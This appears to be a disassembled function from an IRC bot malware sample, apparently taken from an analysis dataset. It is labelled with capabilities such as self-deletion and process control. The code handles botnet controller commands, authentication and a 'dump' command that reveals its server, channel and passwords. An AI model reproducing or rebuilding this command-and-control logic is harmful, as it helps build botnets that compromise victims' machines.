Function at 0x402c21
Capabilities:
Create process on windows
Create thread
Delete file
Get common file path
Move file
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3450
call fcn.0041f820
push esi
push edi
mov dword [ebp - 0xc8], 3
and dword [ebp - 0x874], 0
and dword [ebp - 0x870], 0
and dword [ebp - 4], 0
and dword [ebp - 0x868], 0
and dword [ebp - 0xd0], 0
push 0x200
push 0
lea eax, [ebp - 0x864]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0x25
push dword [ebp + 0x18]
lea eax, [ebp - 0x2c]
push eax
call fcn.0041ed20
add esp, 0xc
cmp dword [ebp + 8], 0
jne 0x402c8f
push 1
pop eax
jmp 0x40a630
push 0x200
push 0
lea eax, [ebp - 0x2dc]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0x1ff
push dword [ebp + 8]
lea eax, [ebp - 0x2dc]
push eax
call fcn.0041ed20
add esp, 0xc
push 0x440de0
lea eax, [ebp - 0x2dc]
push eax
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0x2e0], eax
push 0x1ff
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x5e0]
push eax
call fcn.0041ed20
add esp, 0xc
push 0x440de4
lea eax, [ebp - 0x5e0]
push eax
call fcn.00420380
pop ecx
pop ecx
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x5e4], 1
jmp 0x402d22
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0x20
jge 0x402d48
push 0x440de8
push 0
call fcn.00420380
pop ecx
pop ecx
mov ecx, dword [ebp - 0x5e4]
mov dword [ebp + ecx*4 - 0xac], eax
jmp 0x402d15
cmp dword [ebp - 0xac], 0
je 0x402d5a
cmp dword [ebp - 0xa8], 0
jne 0x402d62
push 1
pop eax
jmp 0x40a630
push 0x100
push 0
lea eax, [ebp - 0x3e0]
push eax
call fcn.0041ecc0
add esp, 0xc
mov dword [ebp - 0x5e4], 0x1f
jmp 0x402d91
mov eax, dword [ebp - 0x5e4]
dec eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 0
jl 0x402e3c
mov eax, dword [ebp - 0x5e4]
cmp dword [ebp + eax*4 - 0xac], 0
jne 0x402db0
jmp 0x402d84
mov eax, dword [ebp - 0x5e4]
mov eax, dword [ebp + eax*4 - 0xac]
movsx eax, byte [eax]
cmp eax, 0x2d
jne 0x402e35
mov eax, dword [ebp - 0x5e4]
mov eax, dword [ebp + eax*4 - 0xac]
movsx eax, byte [eax + 2]
test eax, eax
jne 0x402e35
mov eax, dword [ebp - 0x5e4]
mov eax, dword [ebp + eax*4 - 0xac]
movsx eax, byte [eax + 1]
mov byte [ebp + eax - 0x3e0], 1
mov eax, dword [ebp - 0x5e4]
mov eax, dword [ebp + eax*4 - 0xac]
and byte [eax], 0
mov eax, dword [ebp - 0x5e4]
mov eax, dword [ebp + eax*4 - 0xac]
and byte [eax + 1], 0
mov eax, dword [ebp - 0x5e4]
mov eax, dword [ebp + eax*4 - 0xac]
and byte [eax + 2], 0
mov eax, dword [ebp - 0x5e4]
and dword [ebp + eax*4 - 0xac], 0
jmp 0x402e37
jmp 0x402e3c
jmp 0x402d84
movzx eax, byte [ebp - 0x36d]
test eax, eax
je 0x402e4e
mov dword [ebp - 4], 1
movzx eax, byte [ebp - 0x372]
test eax, eax
je 0x402e67
and dword [ebp - 4], 0
mov dword [ebp - 0x868], 1
mov eax, dword [ebp - 0xac]
movsx eax, byte [eax]
cmp eax, 0xa
je 0x402eb8
push 0x7f
push dword [ebp - 0xac]
lea eax, [ebp - 0x664]
push eax
call fcn.0041ed20
add esp, 0xc
push 0x17
mov eax, dword [ebp - 0xac]
inc eax
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.0041ed20
add esp, 0xc
push 0x440dec
lea eax, [ebp - 0xc4]
push eax
call fcn.00420380
pop ecx
pop ecx
push dword [ebp - 0xac]
push 0x440df0
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x402f69
mov eax, dword [ebp - 0xac]
mov byte [eax + 1], 0x4f
push dword [ebp - 0xa8]
push str.PONG__s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
mov eax, dword [ebp + 0x28]
cmp dword [eax], 0
jne 0x402f10
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0x440e04
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
cmp dword [0x4dd8c4], 1
jle 0x402f21
push 1
pop eax
jmp 0x40a630
cmp dword [0x4dd8c4], 1
jne 0x402f56
mov eax, dword [ebp + 0x18]
movsx eax, byte [eax]
cmp eax, 0x4e
jne 0x402f56
mov eax, dword [ebp + 0x18]
mov byte [eax], 0x7c
push dword [ebp + 0x18]
push 4
push 2
push 3
push 1
push str._c_c_c_c__s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x1c
mov eax, dword [0x4dd8c4]
inc eax
mov dword [0x4dd8c4], eax
push 1
pop eax
jmp 0x40a630
push dword [ebp - 0xa8]
push 0x440e24
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x402f95
push dword [ebp - 0xa8]
push 0x440e28
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x402fe8
push dword [ebp + 0x18]
push str.USERHOST__s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
push 0x440970
push dword [ebp + 0x18]
push str.MODE__s__s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0x440e4c
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
mov dword [0x4dd8bc], 1
push 1
pop eax
jmp 0x40a630
push dword [ebp - 0xa8]
push 0x440e5c
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40303f
push 0x440e60
push dword [ebp - 0xa0]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0x878], eax
cmp dword [ebp - 0x878], 0
je 0x403037
push 0x9f
mov eax, dword [ebp - 0x878]
inc eax
push eax
push dword [ebp + 0x24]
call fcn.0041ed20
add esp, 0xc
push 1
pop eax
jmp 0x40a630
push dword [ebp - 0xa8]
push 0x440e64
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403089
push 0
push dword [0x4408f8]
push dword [0x440904]
push dword [ebp + 0x18]
call fcn.0041aee9
add esp, 0x10
push dword [ebp + 0x18]
push 0x440e68
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
push 1
pop eax
jmp 0x40a630
and dword [ebp - 0x5e4], 0
jmp 0x40309f
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jge 0x4030d5
lea eax, [ebp - 0x664]
push eax
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
add ecx, eax
push ecx
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4030d3
mov dword [ebp - 0x870], 1
jmp 0x403092
push dword [ebp - 0xa8]
push str.KICK
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403213
and dword [ebp - 0x5e4], 0
jmp 0x403105
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jge 0x4031db
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
movsx eax, byte [ecx + eax]
test eax, eax
jne 0x403128
jmp 0x4030f8
push 0x7f
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
add ecx, eax
push ecx
lea eax, [ebp - 0x664]
push eax
call fcn.0041ed20
add esp, 0xc
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x87c], eax
cmp dword [ebp - 0x87c], 0
je 0x4031d6
cmp dword [ebp - 0xa0], 0
je 0x4031d6
push dword [ebp - 0xa0]
push dword [ebp - 0x87c]
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4031d6
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
and byte [ecx + eax], 0
push dword [ebp - 0x87c]
push str._MAIN_
push 0x440e7c
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x864]
push eax
push dword [ebp - 0x87c]
push 0x440e94
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
jmp 0x4030f8
push dword [ebp - 0xa0]
push dword [ebp + 0x18]
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40320b
mov eax, dword [ebp + 0x28]
and dword [eax], 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0x440ea4
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 1
pop eax
jmp 0x40a630
push dword [ebp - 0xa8]
push str.NICK
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40343b
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0x880], eax
and dword [ebp - 0x5e4], 0
jmp 0x40325c
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jge 0x4032fa
lea eax, [ebp - 0x664]
push eax
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
add ecx, eax
push ecx
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4032f5
push 0x21
lea eax, [ebp - 0x664]
push eax
call fcn.00420230
pop ecx
pop ecx
mov dword [ebp - 0x888], eax
cmp dword [ebp - 0x888], 0
je 0x4032f5
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
mov byte [ecx + eax], 0x3a
push dword [ebp - 0x880]
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
lea eax, [ecx + eax + 1]
push eax
call fcn.00420130
pop ecx
pop ecx
push dword [ebp - 0x888]
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
lea eax, [ecx + eax + 2]
push eax
call fcn.00420140
pop ecx
pop ecx
jmp 0x40324f
cmp dword [ebp - 0x884], 0
je 0x403433
cmp dword [ebp - 0x880], 0
je 0x403433
push dword [ebp + 0x18]
push dword [ebp - 0x884]
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403343
push 0xf
push dword [ebp - 0x880]
push dword [ebp + 0x18]
call fcn.0041ed20
add esp, 0xc
push 1
pop eax
jmp 0x40a630
and dword [ebp - 0x5e4], 0
jmp 0x403359
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jge 0x403433
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
movsx eax, byte [ecx + eax]
test eax, eax
je 0x40342e
lea eax, [ebp - 0x664]
push eax
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
add ecx, eax
push ecx
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40342e
push 0x21
lea eax, [ebp - 0x664]
push eax
call fcn.00420230
pop ecx
pop ecx
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 0
je 0x4033e3
push dword [ebp - 0x880]
call fcn.0041ec40
pop ecx
mov esi, eax
push dword [ebp - 0x8f0]
call fcn.0041ec40
pop ecx
add esi, eax
cmp esi, 0x7e
jbe 0x4033eb
push 1
pop eax
jmp 0x40a630
push dword [ebp - 0x8f0]
push dword [ebp - 0x880]
push str.:_s_s
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
add ecx, eax
push ecx
call fcn.0041ee40
add esp, 0x10
push 0
push 0
lea eax, [ebp - 0x8ec]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
jmp 0x403433
jmp 0x40334c
push 1
pop eax
jmp 0x40a630
push dword [ebp - 0xa8]
push 0x440ec4
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x40346b
push dword [ebp - 0xa8]
push 0x440ecc
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403545
and dword [ebp - 0x5e4], 0
jmp 0x403481
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jge 0x403545
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
movsx eax, byte [ecx + eax]
test eax, eax
je 0x403540
push dword [ebp - 0xac]
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
add ecx, eax
push ecx
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403540
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
and byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push eax
push str._MAIN_
push str._s_User:__s_logged_out
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push dword [ebp - 0xa8]
push str.PART
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403538
lea eax, [ebp - 0x864]
push eax
mov eax, dword [ebp - 0xac]
inc eax
push eax
push str.NOTICE__s_:_s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 1
pop eax
jmp 0x40a630
jmp 0x403474
push dword [ebp - 0xa8]
push 0x440f04
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403592
push dword [ebp - 0x9c]
push dword [ebp + 0x10]
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403578
mov eax, dword [ebp + 0x28]
mov dword [eax], 1
push dword [ebp - 0x9c]
push str.Joined_channel:__s
call fcn.0040a8db
pop ecx
pop ecx
push 1
pop eax
jmp 0x40a630
push dword [ebp - 0xa8]
push 0x440f1c
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x4035e5
push dword [ebp - 0xa8]
push 0x440f24
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x4035e5
push dword [ebp - 0xa8]
push 0x440f2c
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40a62d
cmp dword [0x4408fc], 0
je 0x40a62d
push dword [ebp - 0xa8]
push 0x440f30
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x403615
push dword [ebp - 0xa8]
push 0x440f38
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4037c4
push dword [ebp - 0xa8]
push 0x440f40
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403635
mov dword [ebp - 0x868], 1
cmp dword [ebp - 0xa4], 0
jne 0x403646
push 1
pop eax
jmp 0x40a630
push 0x440f48
push dword [ebp - 0xa4]
call fcn.0041f550
pop ecx
pop ecx
test eax, eax
je 0x403665
cmp dword [ebp - 0x868], 0
je 0x403671
lea eax, [ebp - 0xc4]
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa0], 0
jne 0x403682
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
je 0x4036d5
cmp dword [ebp + 0x18], 0
je 0x4036d5
lea eax, [ebp - 0x2c]
push eax
call fcn.0041ec40
pop ecx
push eax
push dword [ebp - 0xa0]
lea eax, [ebp - 0x2c]
push eax
call fcn.004200f0
add esp, 0xc
test eax, eax
jne 0x4036cb
mov dword [ebp - 0xc8], 4
jmp 0x4036d5
mov dword [ebp - 0xc8], 3
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xac], 0
jne 0x4036ed
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x440f4c
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4037bf
mov eax, dword [ebp - 0xa4]
movsx eax, byte [eax]
cmp eax, 0x23
je 0x403759
mov eax, dword [0x4dd8c0]
mov eax, dword [eax*4 + 0x440984]
movsx eax, byte [eax]
test eax, eax
je 0x403759
mov eax, dword [0x4dd8c0]
push dword [eax*4 + 0x440984]
push dword [ebp - 0xa4]
push 0x440f58
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push 0x440f74
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4037bf
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x4037bf
mov eax, dword [ebp - 0xa4]
movsx eax, byte [eax]
cmp eax, 0x23
je 0x4037bf
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push dword [ebp - 0xa4]
push str.NOTICE__s_:
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 1
pop eax
jmp 0x40a630
jmp 0x4038c5
push 0x440f94
push dword [ebp - 0xa8]
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4038c5
and byte [ebp - 0x9f4], 0
mov dword [ebp - 0x8f4], 4
mov eax, dword [ebp - 0x8f4]
cmp dword [ebp + eax*4 - 0xac], 0
je 0x40383c
mov eax, dword [ebp - 0x8f4]
push dword [ebp + eax*4 - 0xac]
lea eax, [ebp - 0x9f4]
push eax
call fcn.00420140
pop ecx
pop ecx
push 0x440f98
lea eax, [ebp - 0x9f4]
push eax
call fcn.00420140
pop ecx
pop ecx
mov eax, dword [ebp - 0x8f4]
inc eax
mov dword [ebp - 0x8f4], eax
jmp 0x4037ef
push 0x7c
lea eax, [ebp - 0x9f4]
push eax
call fcn.00420230
pop ecx
pop ecx
test eax, eax
jne 0x403875
mov dword [ebp - 0xc8], 4
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xa4], eax
jmp 0x4038c5
lea eax, [ebp - 0x9f3]
push eax
lea eax, [ebp - 0x9f4]
push eax
call fcn.00420130
pop ecx
pop ecx
push dword [ebp + 0x2c]
push dword [ebp + 8]
push dword [ebp - 0x2e0]
push dword [ebp + 0x24]
lea eax, [ebp - 0x3e0]
push eax
xor eax, eax
cmp dword [ebp - 0x868], 0
setne al
push eax
push dword [ebp - 0xa0]
push dword [ebp + 0xc]
lea eax, [ebp - 0x9f4]
push eax
call fcn.00419131
add esp, 0x24
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp + eax*4 - 0xac]
movsx eax, byte [eax]
movsx ecx, byte [0x440922]
mov edx, dword [ebp - 0xc8]
mov edx, dword [ebp + edx*4 - 0xac]
inc edx
mov esi, dword [ebp - 0xc8]
mov dword [ebp + esi*4 - 0xac], edx
cmp eax, ecx
je 0x403903
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.dump
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403b30
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x403b28
push str._j4rk_spliter_b0t_
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:_Id___s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._rx_j4rk_spliter_penguin_
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:_Version___s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x1c]
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:_Server___s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x10]
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:_Channel___s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._xC__
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:_Nickconst___s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [0x44097c]
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:_Authost___s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 0x44092c
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:_Password_before____s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x4dd8cc
push 0x44092c
call fcn.0041ec40
pop ecx
push eax
push 0x44092c
call fcn.00411ff3
add esp, 0x10
push 0x44092c
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:_Password___s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x4dd8d0
push 0x44092c
call fcn.0041ec40
pop ecx
push eax
push 0x44092c
call fcn.00411ff3
add esp, 0x10
push 0x44092c
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:_Password_enc____s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x4dd8d4
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0041ec40
pop ecx
push eax
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.00411ff3
add esp, 0x10
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:_Password_arg____s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
push str.fart
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403e1d
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x403b6a
cmp dword [ebp - 0x870], 0
je 0x403b72
push 1
pop eax
jmp 0x40a630
push 0x4410e8
push dword [ebp - 0xac]
call fcn.00420380
pop ecx
pop ecx
inc eax
mov dword [ebp - 0x9fc], eax
push 0x4dd8d8
push 0
call fcn.00420380
pop ecx
pop ecx
mov dword [ebp - 0xa00], eax
push 0x4410ec
push dword [ebp - 0xa00]
call fcn.00420380
pop ecx
pop ecx
mov dword [ebp - 0xa00], eax
push 0
push 0x4dd8dc
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.0041ec40
pop ecx
push eax
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
call fcn.00411ff3
add esp, 0x10
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x44092c
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x403c79
push dword [ebp - 0xa00]
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:Pass_auth_failed___s__s_._r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x14
lea eax, [ebp - 0xc4]
push eax
push 0x441118
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
push dword [ebp - 0xa00]
push dword [ebp - 0x9fc]
push str._MAIN_
push str._s_Failed_pass_auth_by:___s__s_
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
and dword [ebp - 0x9f8], 0
and dword [ebp - 0x5e4], 0
jmp 0x403c96
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jae 0x403ccb
push dword [ebp - 0xa00]
mov eax, dword [ebp - 0x5e4]
push dword [eax*4 + 0x44097c]
call fcn.0040febd
pop ecx
pop ecx
test eax, eax
je 0x403cc9
mov dword [ebp - 0x9f8], 1
jmp 0x403ccb
jmp 0x403c89
cmp dword [ebp - 0x9f8], 0
jne 0x403d49
push dword [ebp - 0xa00]
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:Host_Auth_failed___s__s_._r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x14
lea eax, [ebp - 0xc4]
push eax
push str.NOTICE__s_:Your_attempt_has_been_logged._r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
push dword [ebp - 0xa00]
push dword [ebp - 0x9fc]
push str._MAIN_
push str._s_Failed_host_auth_by:___s__s_
lea eax, [ebp - 0x864]
push eax
call fcn.0041ee40
add esp, 0x14
lea eax, [ebp - 0x864]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x40a630
and dword [ebp - 0x5e4], 0
jmp 0x403d5f
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jge 0x403e15
mov eax, dword [ebp - 0xc8]
cmp dword [ebp + eax*4 - 0xa8], 0
jne 0x403d84
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
movsx eax, byte [ecx + eax]
test eax, eax
je 0x403d9a
jmp 0x403d52
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xa8]
push 0x44092c
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x403e10
push 0x7f
lea eax, [ebp - 0x664]
push eax
mov eax, dword [ebp - 0x5e4]
shl eax, 7
mov ecx, dword [ebp + 0x20]
add ecx, eax
push ecx
call fcn.0041ed20
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x403dfb
push 0
push dword [ebp - 0x868]
push str.I_am_here_to_serve_you
push dword [ebp - 0xa4]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0xc4]
push eax
push str.User:__s_logged_in
call fcn.0040a8db
pop ecx
pop ecx
jmp 0x403e15
jmp 0x403d52
push 1
pop eax
jmp 0x40a630
cmp dword [ebp - 0x870], 0
jne 0x403e40
push dword [ebp - 0xa8]
push 0x44120c
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40a62d
cmp dword [ebp + 0x30], 0
jne 0x40a62d
and dword [ebp - 0x5e4], 0
jmp 0x403e60
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [0x440b6c]
jge 0x4040e9
mov eax, dword [ebp - 0xc8]
push dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0x5e4]
imul eax, eax, 0xb8
add eax, 0x44ab98
push eax
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4040e4
push 0x441210
push dword [ebp + 8]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0xa04], eax
cmp dword [ebp - 0xa04], 0
jne 0x403ec6
push 1
pop eax
jmp 0x40a630
mov eax, dword [ebp - 0xa04]
mov cl, byte [0x440922]
mov byte [eax + 2], cl
mov eax, dword [ebp - 0xa04]
mov cl, byte [0x440922]
mov byte [eax + 3], cl
push 0x9f
mov eax, dword [ebp - 0x5e4]
imul eax, eax, 0xb8
add eax, 0x44abb0
push eax
mov eax, dword [ebp - 0xa04]
add eax, 4
push eax
call fcn.0041ed20
add esp, 0xc
mov dword [ebp - 0xcc], 0xf
jmp 0x403f26
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jle 0x404047
push dword [ebp - 0xcc]
push str.__d_
lea eax, [ebp - 0xdc]
push eax
call fcn.0041ee40
add esp, 0xc
lea eax, [ebp - 0xdc]
push eax
push dword [ebp + 8]
call fcn.0041f550
pop ecx
pop ecx
test eax, eax
je 0x403ff4
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0xcc]
cmp dword [ebp + eax*4 - 0xa8], 0
je 0x403ff4
mov eax, dword [ebp - 0x5e4]
imul eax, eax, 0xb8
add eax, 0x44ab98
push eax
call fcn.0041ec40
pop ecx
mov ecx, dword [ebp - 0x2e0]
add ecx, eax
mov dword [ebp - 0x2e0], ecx
cmp dword [ebp - 0x2e0], 0
je 0x403ff2
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0xcc]
push dword [ebp + eax*4 - 0xac]
push dword [ebp - 0x2e0]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0xa08], eax
cmp dword [ebp - 0xa08], 0
je 0x403ff2
push dword [ebp - 0xa08]
